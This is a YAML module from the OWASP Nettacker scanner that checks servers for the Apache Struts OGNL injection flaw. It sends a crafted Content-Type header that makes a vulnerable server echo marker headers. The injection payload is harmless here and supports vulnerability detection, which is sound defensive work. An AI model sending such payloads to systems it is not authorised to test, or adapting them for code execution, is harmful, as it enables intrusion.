Nettacker/nettacker/modules/vuln/apache_struts.yaml

61 lines
1.6 KiB
YAML

info:
name: apache_struts_vuln
author: OWASP Nettacker Team
severity: 3
description:
reference:
profiles:
- vuln
- vulnerability
- http
- low_severity
- apache_struts
payloads:
- library: http
steps:
- method: get
timeout: 3
headers:
User-Agent: "{user_agent}"
Content-Type:
nettacker_fuzzer:
input_format: "#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader({{random_string}},{{random_string}}"
suffix: ")}}.multipart/form-data"
prefix: "%{{"
interceptors:
data:
random_string:
- randomstring_xyz_1
- randomstring_xyz_2
- randomstring_xyz_3
Accept: "*/*"
allow_redirects: false
ssl: false
url:
nettacker_fuzzer:
input_format: "{{schema}}://{target}:{{ports}}/"
prefix: ""
suffix: ""
interceptors:
data:
schema:
- "http"
- "https"
ports:
- 80
- 443
response:
condition_type: or
conditions:
headers:
randomstring_xyz_1:
regex: randomstring_xyz_1
reverse: false
randomstring_xyz_2:
regex: randomstring_xyz_2
reverse: false
randomstring_xyz_3:
regex: randomstring_xyz_3
reverse: false